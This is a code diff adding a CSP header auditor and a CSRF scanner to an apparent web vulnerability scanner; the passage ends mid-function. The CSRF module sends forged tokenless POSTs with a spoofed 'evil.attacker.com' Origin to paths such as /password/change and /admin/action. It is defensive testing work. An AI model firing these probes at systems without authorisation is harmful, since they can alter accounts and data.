 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ csp_scanner.py — Content Security Policy (CSP) Deep Auditor
3
+ ============================================================
4
+ Parses and analyses the Content-Security-Policy (and CSP-Report-Only) header:
5
+ - Detects missing CSP entirely
6
+ - Flags unsafe-inline / unsafe-eval in script-src
7
+ - Flags wildcard (*) sources
8
+ - Detects missing critical directives
9
+ - Identifies CSP bypass vectors (data:, blob:, http: schemes)
10
+ - Checks for report-uri / report-to configuration
11
+ - Scores overall CSP strength
12
+ """
13
+ import re
14
+ import urllib.request
15
+ import urllib.error
16
+ from scanners.base_scanner import BaseScanner
17
+
18
+ CRITICAL_DIRECTIVES = [
19
+ "default-src", "script-src", "style-src", "img-src",
20
+ "connect-src", "font-src", "object-src", "frame-ancestors",
21
+ ]
22
+
23
+ BYPASS_SCHEMES = ["data:", "blob:", "http:", "javascript:"]
24
+
25
+ CDNS_ALLOWLISTED_BUT_RISKY = [
26
+ "cdn.jsdelivr.net", "unpkg.com", "cdnjs.cloudflare.com",
27
+ "ajax.googleapis.com", "code.jquery.com",
28
+ ]
29
+
30
+
31
+ class CspScanner(BaseScanner):
32
+ SCANNER_NAME = "Content Security Policy (CSP) Auditor"
33
+ _SCANNER_KEY = "csp"
34
+
35
+ def __init__(self, scan_id, target, domain, **kwargs):
36
+ super().__init__(scan_id, target, domain, **kwargs)
37
+
38
+ def run(self) -> list:
39
+ self.log("INFO", f"[CSP] Auditing Content-Security-Policy on {self.target}...")
40
+ try:
41
+ headers = self._fetch_headers()
42
+ csp = headers.get("content-security-policy", "")
43
+ csp_ro = headers.get("content-security-policy-report-only", "")
44
+
45
+ if not csp and not csp_ro:
46
+ self.log("WARNING", "[CSP] No Content-Security-Policy header found!")
47
+ self.add_vuln(
48
+ title="Content Security Policy (CSP) Not Configured",
49
+ severity="High",
50
+ category="Content Security Policy",
51
+ cvss_score=7.5,
52
+ description=f"The target `{self.target}` does not serve a "
53
+ "Content-Security-Policy header. Without CSP, the browser has "
54
+ "no policy to enforce, making XSS attacks significantly more "
55
+ "damaging as injected scripts run with full page privileges.",
56
+ remediation="Implement a strict CSP:\n"
57
+ "Content-Security-Policy: default-src 'self'; "
58
+ "script-src 'self' 'nonce-{random}'; "
59
+ "object-src 'none'; base-uri 'self'; frame-ancestors 'none'",
60
+ evidence="No Content-Security-Policy header in response",
61
+ request_details=f"GET {self.target}",
62
+ response_details="Missing Content-Security-Policy header",
63
+ confidence="Confirmed",
64
+ )
65
+ return self.vulns
66
+
67
+ active_csp = csp or csp_ro
68
+ label = "CSP-Report-Only" if not csp else "CSP"
69
+ self.log("INFO", f"[CSP] {label} header found. Parsing directives...")
70
+
71
+ if not csp and csp_ro:
72
+ self.add_vuln(
73
+ title="CSP Deployed in Report-Only Mode (Not Enforced)",
74
+ severity="Medium",
75
+ category="Content Security Policy",
76
+ cvss_score=5.3,
77
+ description="A Content-Security-Policy-Report-Only header is present but "
78
+ "no enforcing CSP header exists. Report-Only mode does not prevent "
79
+ "attacks — it only sends violation reports.",
80
+ remediation="Promote the policy to Content-Security-Policy once verified.",
81
+ evidence="Content-Security-Policy-Report-Only present, no enforcing CSP",
82
+ request_details=f"GET {self.target}",
83
+ response_details="Report-Only mode CSP detected",
84
+ confidence="High",
85
+ )
86
+
87
+ directives = self._parse_csp(active_csp)
88
+ self._audit_directives(directives, active_csp)
89
+
90
+ except Exception as e:
91
+ self.log("ERROR", f"[CSP] Audit error: {e}")
92
+
93
+ self.log(
94
+ "SUCCESS" if not self.vulns else "WARNING",
95
+ f"[CSP] Audit complete. {len(self.vulns)} issue(s) found.",
96
+ )
97
+ return self.vulns
98
+
99
+ def _fetch_headers(self) -> dict:
100
+ body, status, resp_headers = self._make_request(
101
+ self.target, return_response_obj=True
102
+ )
103
+ if resp_headers:
104
+ return {k.lower(): v for k, v in resp_headers.items()}
105
+ return {}
106
+
107
+ @staticmethod
108
+ def _parse_csp(csp: str) -> dict:
109
+ directives = {}
110
+ for part in csp.split(";"):
111
+ part = part.strip()
112
+ if not part:
113
+ continue
114
+ tokens = part.split()
115
+ if tokens:
116
+ directives[tokens[0].lower()] = tokens[1:]
117
+ return directives
118
+
119
+ def _audit_directives(self, directives: dict, raw_csp: str):
120
+ script_src = directives.get("script-src",
121
+ directives.get("default-src", []))
122
+
123
+ if "'unsafe-inline'" in script_src:
124
+ self.add_vuln(
125
+ title="CSP Allows 'unsafe-inline' in script-src",
126
+ severity="High",
127
+ category="Content Security Policy",
128
+ cvss_score=7.4,
129
+ description="The CSP `script-src` directive includes `'unsafe-inline'`, "
130
+ "which allows inline `<script>` blocks and `onclick=` handlers. "
131
+ "This completely undermines XSS protection provided by CSP.",
132
+ remediation="Replace 'unsafe-inline' with nonce-based or hash-based "
133
+ "script allowlisting:\n"
134
+ "script-src 'self' 'nonce-{server_generated_random}';",
135
+ evidence=f"script-src contains 'unsafe-inline': {script_src}",
136
+ payload="'unsafe-inline' in CSP",
137
+ request_details=f"GET {self.target}",
138
+ response_details=f"CSP directives: {directives}",
139
+ confidence="Confirmed",
140
+ )
141
+ else:
142
+ self.log("SUCCESS", "[CSP] 'unsafe-inline' not found in script-src")
143
+
144
+ if "'unsafe-eval'" in script_src:
145
+ self.add_vuln(
146
+ title="CSP Allows 'unsafe-eval' in script-src",
147
+ severity="Medium",
148
+ category="Content Security Policy",
149
+ cvss_score=5.3,
150
+ description="The CSP `script-src` allows `eval()`, `new Function()`, "
151
+ "and similar dynamic code execution. This weakens XSS mitigation.",
152
+ remediation="Remove 'unsafe-eval'. Refactor code to avoid eval(). "
153
+ "Use JSON.parse() instead of eval() for JSON data.",
154
+ evidence=f"script-src contains 'unsafe-eval': {script_src}",
155
+ payload="'unsafe-eval' in CSP",
156
+ request_details=f"GET {self.target}",
157
+ response_details=f"CSP directives: {directives}",
158
+ confidence="Confirmed",
159
+ )
160
+
161
+ for directive, sources in directives.items():
162
+ if "*" in sources:
163
+ self.add_vuln(
164
+ title=f"CSP Wildcard (*) Source in '{directive}'",
165
+ severity="High",
166
+ category="Content Security Policy",
167
+ cvss_score=7.5,
168
+ description=f"The `{directive}` directive allows any origin (`*`), "
169
+ "effectively disabling the protection for this resource type.",
170
+ remediation=f"Replace `*` in `{directive}` with explicit, "
171
+ "trusted origins only.",
172
+ evidence=f"{directive}: {' '.join(sources)} contains wildcard",
173
+ payload=f"{directive} *",
174
+ request_details=f"GET {self.target}",
175
+ response_details=f"CSP directive {directive} allows *",
176
+ confidence="Confirmed",
177
+ )
178
+
179
+ for scheme in BYPASS_SCHEMES:
180
+ if scheme in raw_csp:
181
+ self.add_vuln(
182
+ title=f"CSP Bypass via '{scheme}' Scheme Allowed",
183
+ severity="Medium",
184
+ category="Content Security Policy",
185
+ cvss_score=5.5,
186
+ description=f"The CSP permits the `{scheme}` scheme, which is commonly "
187
+ "abused for CSP bypass techniques (especially data: URIs for script execution).",
188
+ remediation=f"Remove `{scheme}` from all CSP directives unless strictly required.",
189
+ evidence=f"CSP contains bypass scheme: {scheme}",
190
+ payload=f"{scheme} in CSP",
191
+ request_details=f"GET {self.target}",
192
+ response_details=f"CSP allows scheme: {scheme}",
193
+ confidence="High",
194
+ )
195
+
196
+ obj_src = directives.get("object-src", directives.get("default-src", []))
197
+ if not obj_src or (obj_src != ["'none'"] and "'none'" not in obj_src):
198
+ self.add_vuln(
199
+ title="CSP Missing 'object-src none' Directive",
200
+ severity="Medium",
201
+ category="Content Security Policy",
202
+ cvss_score=5.3,
203
+ description="Without `object-src 'none'`, the browser may load Flash, "
204
+ "Java applets, or other plugins that bypass script-src restrictions.",
205
+ remediation="Add: object-src 'none'; to your CSP.",
206
+ evidence=f"object-src directive: {obj_src}",
207
+ request_details=f"GET {self.target}",
208
+ response_details="object-src not set to 'none'",
209
+ confidence="High",
210
+ )
211
+
212
+ if "frame-ancestors" not in directives:
213
+ self.add_vuln(
214
+ title="CSP Missing 'frame-ancestors' Directive (Clickjacking)",
215
+ severity="Medium",
216
+ category="Content Security Policy",
217
+ cvss_score=5.4,
218
+ description="The CSP does not include `frame-ancestors`, which controls "
219
+ "whether the page can be embedded in iframes. Without it, clickjacking "
220
+ "attacks remain possible if X-Frame-Options is also absent.",
221
+ remediation="Add: frame-ancestors 'none'; (or 'self' if same-origin framing needed)",
222
+ evidence="Directives present: " + ", ".join(directives.keys()),
223
+ request_details=f"GET {self.target}",
224
+ response_details="frame-ancestors directive missing",
225
+ confidence="High",
226
+ )
227
+ else:
228
+ self.log("SUCCESS", "[CSP] frame-ancestors directive present")
229
+
230
+ if "base-uri" not in directives:
231
+ self.add_vuln(
232
+ title="CSP Missing 'base-uri' Directive",
233
+ severity="Low",
234
+ category="Content Security Policy",
235
+ cvss_score=3.5,
236
+ description="Without `base-uri`, an attacker who injects a `<base>` tag "
237
+ "can redirect all relative URLs to an attacker-controlled origin.",
238
+ remediation="Add: base-uri 'self'; to your CSP.",
239
+ evidence="Directives present: " + ", ".join(directives.keys()),
240
+ request_details=f"GET {self.target}",
241
+ response_details="base-uri directive missing",
242
+ confidence="High",
243
+ )
244
+
245
+ if "report-uri" not in directives and "report-to" not in directives:
246
+ self.add_vuln(
247
+ title="CSP Has No Reporting Endpoint Configured",
248
+ severity="Low",
249
+ category="Content Security Policy",
250
+ cvss_score=2.0,
251
+ description="The CSP does not include a `report-uri` or `report-to` "
252
+ "directive. Without reporting, CSP violations go undetected.",
253
+ remediation="Add: report-uri /csp-report-endpoint; "
254
+ "to receive violation reports from browsers.",
255
+ evidence="Directives present: " + ", ".join(directives.keys()),
256
+ request_details=f"GET {self.target}",
257
+ response_details="No report-uri or report-to directive",
258
+ confidence="High",
259
+ )
260
+ else:
261
+ self.log("SUCCESS", "[CSP] CSP reporting endpoint configured")
262
+
263
+ for cdn in CDNS_ALLOWLISTED_BUT_RISKY:
264
+ if cdn in raw_csp:
265
+ self.add_vuln(
266
+ title=f"CSP Allowlists Risky CDN: {cdn}",
267
+ severity="Low",
268
+ category="Content Security Policy",
269
+ cvss_score=3.5,
270
+ description=f"The CSP allowlists `{cdn}`. Public CDNs host thousands "
271
+ "of packages; if any contain malicious code or are compromised, "
272
+ "your CSP provides no protection.",
273
+ remediation="Pin specific script hashes instead of trusting entire CDN origins. "
274
+ "Use Subresource Integrity (SRI) for all external scripts.",
275
+ evidence=f"CDN {cdn} found in CSP allowlist",
276
+ payload=cdn,
277
+ request_details=f"GET {self.target}",
278
+ response_details=f"CSP allowlists {cdn}",
279
+ confidence="Medium",
280
+ )
backend/scanners/csrf_scanner.py ADDED
@@ -0,0 +1,495 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ csrf_scanner.py — Cross-Site Request Forgery (CSRF) Scanner
3
+ ============================================================
4
+ Detects CSRF vulnerabilities by:
5
+ 1. Discovering all HTML forms via crawler
6
+ 2. Checking for CSRF tokens in form fields and custom request headers
7
+ 3. Verifying SameSite cookie attributes
8
+ 4. Submitting forms without CSRF tokens to see if the server rejects them
9
+ 5. Checking Content-Type validation on state-changing endpoints
10
+
11
+ OWASP Top 10: A01:2021 — CVSS 8.8
12
+ """
13
+ import re, ssl, urllib.parse, urllib.request, urllib.error
14
+ from scanners.base_scanner import BaseScanner
15
+ from utils.anomaly import SizeAnomalyDetector
16
+
17
+ # Token field name patterns
18
+ CSRF_FIELD_RE = re.compile(
19
+ r"(csrf|xsrf|_token|authenticity_token|nonce|__RequestVerificationToken"
20
+ r"|csrfmiddlewaretoken|antiForgery|formToken)", re.I
21
+ )
22
+
23
+ # Header names that indicate CSRF protection
24
+ CSRF_HEADERS = {
25
+ "x-csrf-token", "x-xsrf-token", "x-request-id",
26
+ "x-csrftoken", "x-antiforgery",
27
+ }
28
+
29
+
30
+ class CsrfScanner(BaseScanner):
31
+ SCANNER_NAME = "CSRF Vulnerability Scanner"
32
+ _SCANNER_KEY = "csrf"
33
+
34
+ def __init__(self, scan_id, target, domain, **kwargs):
35
+ super().__init__(scan_id, target, domain, **kwargs)
36
+ self._tested = 0
37
+ self._found = 0
38
+ self._seen: set = set()
39
+ self._size_detector = SizeAnomalyDetector()
40
+
41
+ # ------------------------------------------------------------------
42
+ def run(self) -> list:
43
+ self.log("INFO", f"[CSRF] Starting CSRF analysis on {self.target}...")
44
+ try:
45
+ forms = self._crawl_forms()
46
+ self.log("INFO", f"[CSRF] Discovered {len(forms)} form(s)")
47
+
48
+ for form in forms:
49
+ self._audit_form(form)
50
+
51
+ # Also probe common API/action endpoints
52
+ self._probe_endpoints()
53
+
54
+ # Run advanced CSRF checks
55
+ self._check_origin_header_validation()
56
+ self._check_custom_header_validation()
57
+ self._check_samesite_cookie_attribute()
58
+ self._test_samesite_lax_vs_strict()
59
+ self._detect_anti_csrf_patterns()
60
+ self._test_csrf_size_anomaly()
61
+
62
+ except Exception as e:
63
+ self.log("WARNING", f"[CSRF] Error: {e}")
64
+
65
+ self.log(
66
+ "SUCCESS" if not self.vulns else "WARNING",
67
+ f"[CSRF] Complete — {self._tested} check(s) | "
68
+ f"{self._found} CSRF vulnerability/vulnerabilities found",
69
+ )
70
+ return self.vulns
71
+
72
+ # ------------------------------------------------------------------
73
+ def _crawl_forms(self) -> list:
74
+ try:
75
+ results = self.discovery_context or {}
76
+ forms = results.get("forms", [])
77
+ return forms if forms is not None else []
78
+ except Exception as e:
79
+ self.log("ERROR", f"[CSRF] _crawl_forms error: {e}")
80
+ return []
81
+
82
+ # ------------------------------------------------------------------
83
+ def _audit_form(self, form: dict):
84
+ action = form.get("action") or self.target
85
+ method = form.get("method", "get").upper()
86
+ fields = form.get("fields", [])
87
+ page = form.get("page_url", self.target)
88
+
89
+ # Only POST / PUT / PATCH / DELETE forms are CSRF-relevant
90
+ if method not in ("POST", "PUT", "PATCH", "DELETE"):
91
+ return
92
+
93
+ key = f"{action}:{method}"
94
+ if key in self._seen:
95
+ return
96
+ self._seen.add(key)
97
+ self._tested += 1
98
+
99
+ field_names = [f.get("name","") for f in fields]
100
+
101
+ # ── Check 1: No CSRF token field ──────────────────────────────
102
+ has_token_field = any(
103
+ CSRF_FIELD_RE.search(n) for n in field_names if n
104
+ )
105
+
106
+ if not has_token_field:
107
+ self.log("WARNING",
108
+ f"[CSRF] No CSRF token field in form at {action} (from {page})")
109
+
110
+ # ── Check 2: Try submitting the form without a token ───────
111
+ if self._submit_without_token_succeeds(action, method, fields):
112
+ self._found += 1
113
+ self.log("CRITICAL",
114
+ f"[CSRF] CONFIRMED — form at {action} accepted request without token!")
115
+ self.add_vuln(
116
+ title=f"CSRF — Unprotected State-Changing Form at '{action}'",
117
+ severity="High",
118
+ category="CSRF",
119
+ cvss_score=8.8,
120
+ description=(
121
+ f"The `{method}` form at `{action}` (discovered via `{page}`) "
122
+ "does not include a CSRF token and accepted a forged cross-site "
123
+ "request in testing.\n\n"
124
+ "An attacker can craft a page that silently submits this form on "
125
+ "behalf of any authenticated victim who visits it, performing "
126
+ "account changes, data deletion, or privilege escalation."
127
+ ),
128
+ remediation=(
129
+ "1. Add a server-generated, per-session CSRF token to every "
130
+ "state-changing form.\n"
131
+ "2. Validate the token server-side on every POST/PUT/PATCH/DELETE.\n"
132
+ "3. Set SameSite=Strict or SameSite=Lax on session cookies.\n"
133
+ "4. Verify the Origin / Referer header as a secondary check.\n"
134
+ "5. Use the Synchronizer Token Pattern or Double Submit Cookie."
135
+ ),
136
+ cwe_ids=["CWE-352"],
137
+ owasp_category="A01:2021 – Broken Access Control",
138
+ )
139
+ else:
140
+ # Form is protected (token enforced) but field is missing —
141
+ # could be token injected via JS or header-based; flag as info
142
+ self.add_vuln(
143
+ title=f"CSRF — No Visible Token Field in Form at '{action}'",
144
+ severity="Low",
145
+ category="CSRF",
146
+ cvss_score=3.1,
147
+ description=(
148
+ f"The `{method}` form at `{action}` contains no visible CSRF token "
149
+ "field. The server rejected the tokenless request (possible JS-based "
150
+ "or header-based protection), but this should be verified manually."
151
+ ),
152
+ remediation=(
153
+ "Confirm CSRF protection is applied via header inspection or "
154
+ "framework documentation. Prefer visible form tokens for defence-in-depth."
155
+ ),
156
+ cwe_ids=["CWE-352"],
157
+ owasp_category="A01:2021 – Broken Access Control",
158
+ )
159
+ else:
160
+ self.log("SUCCESS",
161
+ f"[CSRF] Form at {action} has CSRF token field: "
162
+ f"{[n for n in field_names if CSRF_FIELD_RE.search(n or '')]}")
163
+
164
+ # ------------------------------------------------------------------
165
+ def _submit_without_token_succeeds(self, action, method, fields) -> bool:
166
+ """Submit form with plausible dummy values but no CSRF token.
167
+ Returns True if the server returns 2xx (not rejected)."""
168
+ try:
169
+ data = {}
170
+ for f in fields:
171
+ name = f.get("name","")
172
+ if not name or CSRF_FIELD_RE.search(name):
173
+ continue # skip the token field itself
174
+ ftype = f.get("type","text").lower()
175
+ if ftype == "email":
176
+ data[name] = "test@example.com"
177
+ elif ftype in ("number","tel"):
178
+ data[name] = "1"
179
+ else:
180
+ data[name] = "csrf_test_value"
181
+
182
+ if not data:
183
+ data = {"test": "csrf_test_value"}
184
+
185
+ encoded = urllib.parse.urlencode(data).encode()
186
+ headers = {
187
+ "User-Agent": "LarShield/2.0 CSRF-Probe",
188
+ "Content-Type": "application/x-www-form-urlencoded",
189
+ "Origin": "https://evil.attacker.com",
190
+ "Referer": "https://evil.attacker.com/",
191
+ }
192
+ headers.update(self.auth_headers or {})
193
+ body, status = self._make_request(action, method=method, data=encoded, headers=headers, timeout=8)
194
+ return status in range(200, 300) if body is not None else False
195
+ except urllib.error.HTTPError as e:
196
+ return e.code not in (403, 405, 422, 400)
197
+ except Exception as ex:
198
+ self.log("ERROR", f"[CSRF] _submit_without_token_succeeds error: {ex}")
199
+ return False
200
+
201
+ # ------------------------------------------------------------------
202
+ def _probe_endpoints(self):
203
+ """Probe common action endpoints for missing CSRF protection."""
204
+ common_actions = [
205
+ "/account/settings", "/user/update", "/profile/edit",
206
+ "/password/change", "/email/change", "/admin/action",
207
+ "/api/user", "/api/account", "/api/settings",
208
+ ]
209
+ base = self.target.rstrip("/")
210
+ for path in common_actions:
211
+ url = f"{base}{path}"
212
+ self._tested += 1
213
+ if self._submit_without_token_succeeds(url, "POST", []):
214
+ self.log("WARNING",
215
+ f"[CSRF] Endpoint {url} accepted cross-origin POST without token")
216
+ self._found += 1
217
+ self.add_vuln(
218
+ title=f"CSRF — API Endpoint '{path}' Accepts Cross-Origin POST",
219
+ severity="Medium",
220
+ category="CSRF",
221
+ cvss_score=6.5,
222
+ description=(
223
+ f"The endpoint `{url}` accepted a POST request from a cross-origin "
224
+ "`evil.attacker.com` without a CSRF token, Content-Type restriction, "
225
+ "or Origin validation."
226
+ ),
227
+ remediation=(
228
+ "Validate the Origin / Referer header on all state-changing API "
229
+ "endpoints. Require a CSRF token header (X-CSRF-Token) or use "
230
+ "SameSite=Strict cookies."
231
+ ),
232
+ cwe_ids=["CWE-352"],
233
+ owasp_category="A01:2021 – Broken Access Control",
234
+ )
235
+
236
+ # ------------------------------------------------------------------
237
+ def _check_origin_header_validation(self):
238
+ """Test if the server validates the Origin header on state-changing endpoints."""
239
+ test_endpoints = self._crawl_forms()
240
+ tested_actions = set()
241
+
242
+ for form in test_endpoints:
243
+ action = form.get("action") or self.target
244
+ method = form.get("method", "post").upper()
245
+ if method not in ("POST", "PUT", "PATCH", "DELETE"):
246
+ continue
247
+ if action in tested_actions:
248
+ continue
249
+ tested_actions.add(action)
250
+ self._tested += 1
251
+
252
+ data = {"test": "csrf_origin_check"}
253
+ encoded = urllib.parse.urlencode(data).encode()
254
+
255
+ # PROBE: send request with missing Origin header
256
+ headers_no_origin = {"User-Agent": "LarShield/2.0 CSRF-Probe", "Content-Type": "application/x-www-form-urlencoded"}
257
+ body, status_no = self._make_request(action, method=method, data=encoded, headers=headers_no_origin, timeout=8)
258
+
259
+ # PROBE: send request with attacker Origin header
260
+ headers_evil = dict(headers_no_origin)
261
+ headers_evil["Origin"] = "https://evil.attacker.com"
262
+ body, status_evil = self._make_request(action, method=method, data=encoded, headers=headers_evil, timeout=8)
263
+
264
+ # CONFIRM: if both succeed, Origin validation is missing
265
+ if status_no and status_evil and status_no in range(200, 300) and status_evil in range(200, 300):
266
+ self._found += 1
267
+ self.log("WARNING", f"[CSRF] No Origin header validation at {action}")
268
+ self.add_vuln(
269
+ title=f"CSRF — Missing Origin Header Validation at '{action}'",
270
+ severity="High",
271
+ category="CSRF",
272
+ cvss_score=7.5,
273
+ description=f"The endpoint `{action}` accepted requests with no Origin header "
274
+ "and with a spoofed Origin header from `evil.attacker.com`. "
275
+ "This means the server does not validate the Origin header, making "
276
+ "CSRF attacks possible from any origin.",
277
+ evidence=f"No-Origin: {status_no}, Attacker-Origin: {status_evil}",
278
+ request_details=f"{method} {action} (with and without Origin header)",
279
+ response_details=f"Status without Origin: {status_no}, with attacker Origin: {status_evil}",
280
+ confidence="Confirmed",
281
+ remediation="1. Validate the Origin header on all state-changing requests.\n"
282
+ "2. Maintain an allowlist of permitted origins.\n"
283
+ "3. Reject requests with unexpected or missing Origin headers.",
284
+ cwe_ids=["CWE-352"],
285
+ owasp_category="A01:2021 – Broken Access Control",
286
+ )
287
+
288
+ # ------------------------------------------------------------------
289
+ def _check_custom_header_validation(self):
290
+ """Test if the server validates a custom CSRF header like X-CSRF-Token or X-Requested-With."""
291
+ custom_headers = ["X-CSRF-Token", "X-XSRF-Token", "X-Requested-With", "X-CSRF", "X-Antiforgery"]
292
+ test_endpoints = self._crawl_forms()
293
+ tested_actions = set()
294
+
295
+ for form in test_endpoints:
296
+ action = form.get("action") or self.target
297
+ method = form.get("method", "post").upper()
298
+ if method not in ("POST", "PUT", "PATCH", "DELETE"):
299
+ continue
300
+ if action in tested_actions:
301
+ continue
302
+ tested_actions.add(action)
303
+ self._tested += 1
304
+
305
+ data = {"test": "csrf_header_check"}
306
+ encoded = urllib.parse.urlencode(data).encode()
307
+
308
+ # Test request with each custom CSRF header
309
+ for hdr in custom_headers:
310
+ headers = {
311
+ "User-Agent": "LarShield/2.0 CSRF-Probe",
312
+ "Content-Type": "application/x-www-form-urlencoded",
313
+ hdr: "test-csrf-value",
314
+ }
315
+ body, status = self._make_request(action, method=method, data=encoded, headers=headers, timeout=8)
316
+
317
+ if status in range(200, 300):
318
+ self.log("SUCCESS", f"[CSRF] {action} accepts custom header {hdr} — CSRF protection may be header-based")
319
+ self.add_vuln(
320
+ title=f"CSRF — Protection Relies on Custom Header '{hdr}'",
321
+ severity="Low",
322
+ category="CSRF",
323
+ cvss_score=0.0,
324
+ description=f"The endpoint `{action}` accepted a request with the custom "
325
+ f"header `{hdr}`. If the server relies solely on custom headers for "
326
+ "CSRF protection (double-submit cookie pattern), this can be bypassed "
327
+ "if an attacker can set cookies in the victim's browser.",
328
+ evidence=f"Accepted {method} {action} with {hdr}: test-csrf-value",
329
+ request_details=f"{method} {action} with header {hdr}",
330
+ response_details=f"HTTP {status}",
331
+ confidence="Info",
332
+ remediation="1. Use SameSite=Strict cookies as defence-in-depth.\n"
333
+ "2. Combine custom headers with Origin/Referer validation.\n"
334
+ "3. Ensure custom headers cannot be set by third-party scripts.",
335
+ cwe_ids=["CWE-352"],
336
+ owasp_category="A01:2021 – Broken Access Control",
337
+ )
338
+
339
+ # ------------------------------------------------------------------
340
+ def _check_samesite_cookie_attribute(self):
341
+ """Check if cookies set by the application have SameSite attribute for CSRF protection."""
342
+ try:
343
+ result = self._make_request(self.target, timeout=8, return_response_obj=True)
344
+ if not result or len(result) < 3:
345
+ return
346
+ body, status, resp_headers = result
347
+ if resp_headers is None:
348
+ return
349
+ set_cookies = resp_headers.get_all("Set-Cookie") if hasattr(resp_headers, "get_all") else []
350
+ if not set_cookies:
351
+ return
352
+ for raw in set_cookies:
353
+ samesite_match = re.search(r'SameSite=(Strict|Lax|None)', raw, re.I)
354
+ if not samesite_match:
355
+ cookie_name = raw.split("=")[0] if "=" in raw else "unknown"
356
+ self.add_vuln(
357
+ title=f"Cookie '{cookie_name}' Missing SameSite Attribute",
358
+ severity="Medium",
359
+ category="CSRF",
360
+ cvss_score=5.3,
361
+ description=f"The cookie `{cookie_name}` set by the application does not "
362
+ "include the SameSite attribute. Without SameSite, cookies are sent "
363
+ "on cross-site requests, enabling CSRF attacks.",
364
+ evidence=f"Set-Cookie: {raw[:80]}",
365
+ request_details=f"GET {self.target}",
366
+ response_details=f"Set-Cookie: {raw[:80]}",
367
+ confidence="Confirmed",
368
+ remediation="1. Set SameSite=Strict on session cookies.\n"
369
+ "2. Use SameSite=Lax for cookies that need to persist across safe navigations.\n"
370
+ "3. Avoid SameSite=None unless required and combined with Secure flag.",
371
+ cwe_ids=["CWE-352"],
372
+ owasp_category="A01:2021 – Broken Access Control",
373
+ )
374
+ except Exception as e:
375
+ self.log("DEBUG", f"[CSRF] _check_samesite_cookie_attribute error: {e}")
376
+
377
+ # ------------------------------------------------------------------
378
+ def _detect_anti_csrf_patterns(self):
379
+ """Detect anti-CSRF token patterns in HTML/JS responses to assess protection coverage."""
380
+ probe_paths = ["/", "/login", "/register", "/account", "/admin", "/api/csrf-token"]
381
+ base = self.target.rstrip("/")
382
+
383
+ csrf_patterns = {
384
+ "meta[name=\"csrf-token\"]": re.compile(r'meta\s+name=["\']csrf-token["\']', re.I),
385
+ "X-CSRF-Token header": re.compile(r'X-CSRF-Token', re.I),
386
+ "csrf_token variable": re.compile(r'(csrfToken|csrf_token|csrfToken)', re.I),
387
+ "antiForgeryToken": re.compile(r'antiForgeryToken', re.I),
388
+ "__RequestVerificationToken": re.compile(r'__RequestVerificationToken', re.I),
389
+ }
390
+
391
+ for path in probe_paths:
392
+ url = f"{base}{path}"
393
+ body, status = self._make_request(url, timeout=5)
394
+ if not body:
395
+ continue
396
+
397
+ found_patterns = [name for name, pattern in csrf_patterns.items() if pattern.search(body)]
398
+
399
+ if found_patterns:
400
+ self.log("SUCCESS", f"[CSRF] Anti-CSRF pattern(s) found at {url}: {', '.join(found_patterns)}")
401
+
402
+ # Record baseline size for anomaly detection
403
+ if status and status in range(200, 300):
404
+ self._size_detector.record_size(len(body))
405
+
406
+ self.add_vuln(
407
+ title=f"Anti-CSRF Protection Patterns Detected at '{path}'",
408
+ severity="Low",
409
+ category="CSRF",
410
+ cvss_score=0.0,
411
+ description=f"The page `{url}` contains CSRF protection patterns: "
412
+ f"{', '.join(found_patterns)}. These should be verified for correct "
413
+ "implementation (token uniqueness, per-session binding, server-side validation).",
414
+ evidence=f"Patterns found: {', '.join(found_patterns)}",
415
+ request_details=f"GET {url}",
416
+ response_details=f"HTTP {status}",
417
+ confidence="Info",
418
+ remediation="Verify that CSRF tokens are: 1) Cryptographically random, "
419
+ "2) Bound to the user session, 3) Validated server-side on every request.",
420
+ cwe_ids=["CWE-352"],
421
+ owasp_category="A01:2021 – Broken Access Control",
422
+ )
423
+ return
424
+
425
+ def _test_samesite_lax_vs_strict(self):
426
+ try:
427
+ result = self._make_request(self.target, timeout=8, return_response_obj=True)
428
+ if not result or len(result) < 3:
429
+ return
430
+ body, status, resp_headers = result
431
+ if resp_headers is None:
432
+ return
433
+ set_cookies = resp_headers.get_all("Set-Cookie") if hasattr(resp_headers, "get_all") else []
434
+ if not set_cookies:
435
+ return
436
+ for raw in set_cookies:
437
+ lax_match = re.search(r'SameSite=Lax', raw, re.I)
438
+ if lax_match:
439
